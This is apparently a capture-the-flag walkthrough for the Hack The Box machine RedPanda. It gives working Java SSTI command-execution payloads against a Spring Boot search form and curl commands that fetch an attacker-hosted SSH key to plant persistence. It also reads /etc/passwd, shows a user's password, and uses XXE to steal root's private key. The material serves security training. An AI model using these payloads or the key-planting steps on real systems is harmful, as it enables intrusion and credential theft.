NETWORK

echo '10.10.11.170  redpanda redpanda.htb' | sudo tee -a /etc/hosts

ENUMERATION

we are working with Spring boot

/error

/stats

Going through the list of all the Pandas: angy, shy, crafty, peter, greg, hyngy, smooch, smiley

We notice that Greg has an interesting description

SSTI

Searching for #{7*7} give us an interesting result

After a numerous unsuccessful try we found out that the best payload was *{something} instead of `#{something}

Searching for SSTI Java we have found the following repository https://github.com/adeiarias/Java-SSTI-generator

Using this script we were able to generate working payloads

python /opt/Java-SSTI-generator/java_ssti_generator.py --command 'cat /etc/passwd'

to retrieve the list of users on the machine

FOOTHOLD

SSH Persistence

To ease our next steps, we need a better access to the server.

Let’s add a SSH public key to the authorized_keys file so we can enjoy a persistent ssh connection.

First in our machine (attacker) let’s generate a ssh public-private key pair on our kali

ssh-keygen -f /home/clobee/Downloads/boxes/htb/redpanda/id_rsa -I woodenk

mv id_rsa.pub authorized_keys

Let’s upload our public key file into the machine (and set the correct permissions) by running the following commands

mkdir -p /home/woodenk/.ssh/ 
chown woodenk:woodenk /home/woodenk/.ssh
curl http://10.10.16.4/authorized_keys -o /home/woodenk/.ssh/authorized_keys
chmod 600 /home/woodenk/.ssh/authorized_keys

Here is details:

python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'mkdir -p /home/woodenk/.ssh/
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(109).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'chown woodenk:woodenk /home/woodenk/.ssh
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'curl http://10.10.16.4/authorized_keys -o /home/woodenk/.ssh/authorized_keys'
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text
python3 /opt/Java-SSTI-generator/java_ssti_generator.py -c 'chmod 600 /home/woodenk/.ssh/authorized_keys'
curl -X POST -d 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(107)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(115))).getInputStream())}' http://redpanda.htb:8080/search --silent -H "Content-Type: application/x-www-form-urlencoded" | html2text

Then running the following ssh command in our Kali

ssh -i id_rsa [email protected]

We get a ssh shell as Woodenk on the server

Enum

Looking into the result of a linpeas.sh we have found the following

We have found the user woodenk password

woodenk:RedPandazRule

PRIV ESCALATION

Looking into the processes running on the server we have noticed the following command

Looking into the logParser file /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java

We can inject a “path” into the artist name in the metadata of an image stored in /dev/shm. The image is then parsed by getArtist()

The metadata retrieved from the image will then be used to load an XML file /credits/XXXX_creds.xml

XXE

Injecting a path into an image

which will load our XML payload_creds.

Because of this

we can trigger the vulnerability with the following curl

curl http://redpanda.htb:8080 -H "User-Agent: ||/dev/shm/greg.jpg"

Waiting for the cron to run we then find the root id_rsa in our xml file